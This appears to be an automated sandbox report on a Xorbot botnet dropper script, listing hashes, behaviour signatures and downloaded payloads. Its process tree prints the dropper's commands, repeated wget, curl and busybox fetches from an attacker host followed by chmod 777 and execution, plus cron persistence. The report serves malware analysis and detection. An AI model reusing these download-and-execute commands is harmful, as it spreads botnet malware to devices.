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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/02/2025, 23:08

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    97fa31a6ea5fb450f4b293c1695590f1

  • SHA1

    159bd52d99913da9322c119a059d3a365e4df48b

  • SHA256

    2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

  • SHA512

    398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1

  • SSDEEP

    192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2141) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:652
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:655
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:658
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:683
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:705
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:710
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:711
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:713
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:714
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:716
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:718
            • /bin/rm
              rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
              2⤵
                PID:734
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                2⤵
                • System Network Configuration Discovery
                PID:737
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                PID:820
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:831
              • /bin/chmod
                chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                2⤵
                • File and Directory Permissions Modification
                PID:833
              • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                2⤵
                  PID:834
                • /bin/rm
                  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
                  2⤵
                    PID:836
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    2⤵
                    • System Network Configuration Discovery
                    PID:837
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    PID:838
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:839
                  • /bin/chmod
                    chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    2⤵
                    • File and Directory Permissions Modification
                    PID:840
                  • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                    2⤵
                      PID:841
                    • /bin/rm
                      rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                      2⤵
                        PID:843
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        2⤵
                        • System Network Configuration Discovery
                        PID:844
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        PID:845
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:847
                      • /bin/chmod
                        chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                        2⤵
                          PID:853
                        • /bin/rm
                          rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                          2⤵
                            PID:856
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • System Network Configuration Discovery
                            PID:857
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • Checks CPU configuration
                            • System Network Configuration Discovery
                            PID:858
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • System Network Configuration Discovery
                            PID:862
                          • /bin/chmod
                            chmod 777 JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                            • File and Directory Permissions Modification
                            PID:884
                          • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            ./JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                            2⤵
                              PID:885
                            • /bin/rm
                              rm JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                              2⤵
                                PID:886
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:887

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP

                              Filesize

                              81KB

                              MD5

                              393a405d7ec265bff77ba572b4ac7c8e

                              SHA1

                              f16ac3556de6e39931d96f6f408f6d29a986aadb

                              SHA256

                              1af44e11d198d9c1e0caa83a09cbef8f7469049673be143cfb1aba4cc9f5f752

                              SHA512

                              f773a6ea36817edba018e5617b80e2bed498f66bbba4e6cbfff311ba604b6b6da4914e959028d1f97259c5e81ca966e458d6a227f695f004161a80eb97ec01c4

                            • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /var/spool/cron/crontabs/tmp.p65xOb

                              Filesize

                              210B

                              MD5

                              ddfcd6deb4abb8d8341643fd8ee3fffa

                              SHA1

                              fef24cfd01ab4ecfddff4c26519ef4fafdf2bbb8

                              SHA256

                              0dca5e979334f95333c4936224d0a29749c213da61d036ef68a7b4b02f05f1f9

                              SHA512

                              5e4c1ad8554a93eaca7549483f3b0c3ae9209f20ffe8acc60a7a1ae49ce70b395ada5788fb93cb7d4f08b48b801efdd2d22c44f2e52cddf5aae5f9cda776878b